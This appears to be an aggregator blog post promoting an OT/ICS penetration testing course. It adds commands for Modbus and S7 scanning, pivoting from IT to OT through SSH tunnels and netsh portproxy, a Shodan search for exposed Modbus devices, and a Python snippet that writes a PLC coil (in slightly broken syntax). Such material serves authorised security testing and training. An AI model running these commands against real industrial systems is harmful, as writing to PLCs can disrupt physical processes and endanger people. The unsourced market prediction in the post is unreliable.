OT/ICS Penetration Testing Fundamentals: A Hands-On Course

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This one-day course by Mike Holcomb demystifies OT/ICS penetration testing, bridging the gap between IT and OT security. Key topics include:
– Pivoting from IT to OT
– Safe testing methodologies
– Differences between IT and OT penetration testing
– Assumed breach techniques through IT/OT DMZs
– Evaluating PLC cybersecurity

Includes hands-on labs, slides, lab manuals, and session recordings. A “Pay What You Can” model ensures accessibility.

You Should Know:

1. Key OT/ICS Pentesting Commands

  • Nmap for OT Devices:
    nmap -sS -Pn -p 502,102,44818 --script modbus-discover.nse <OT_IP>
    

Scans for Modbus/TCP, Siemens S7, and EtherNet/IP ports.

  • PLC Enumeration (Metasploit):
    use auxiliary/scanner/scada/modbusdetect
    set RHOSTS <OT_IP_RANGE>
    run
    

2. IT-to-OT Pivoting

  • SSH Tunneling to OT Networks:
    ssh -L 502:localhost:502 user@jumpbox
    

Forwards Modbus traffic securely.

  • Windows Proxy Chaining (for DMZ Breach):
    netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=<OT_DEVICE_IP>
    

3. Reconnaissance

  • Shodan for OT Devices:
    shodan search --fields ip_str,port,org 'product:modbus'
    

Finds exposed Modbus devices.

  • ICS-specific OSINT Tools:
    python3 CVE-2023-3595_scanner.py --target <PLC_IP>
    

4. Impacting Industrial Processes

  • PLC Blink Attack (Python):
    from pymodbus.client import ModbusTcpClient
    client = ModbusTcpClient('<PLC_IP>')
    client.write_coil(0x0001, True)  Toggles coil
    

What Undercode Say:

OT pentesting requires specialized tools like PLCscan, GRFICS, and ISF. Always:
1. Isolate test environments (use virtualized OT labs like ICS-Security-Lab).

2. Monitor process impacts with Wireshark filters:

tcp.port == 502 || udp.port == 47808

3. Leverage MITRE ATT&CK for ICS for attack simulation.

Prediction:

As OT/ICS attacks rise (e.g., water plant hacks), demand for certified OT pentesters will surge by 40% by 2026.

Expected Output:

  • Course completion with 8 CPEs.
  • Ability to conduct safe OT assessments and write actionable reports.
  • Hands-on experience compromising PLCs without disrupting operations.

Relevant URLs:

Note: Replace <OT_IP>, <PLC_IP>, etc., with actual target IPs. Always obtain authorization before testing.

References:

Reported By: Mikeholcomb Very – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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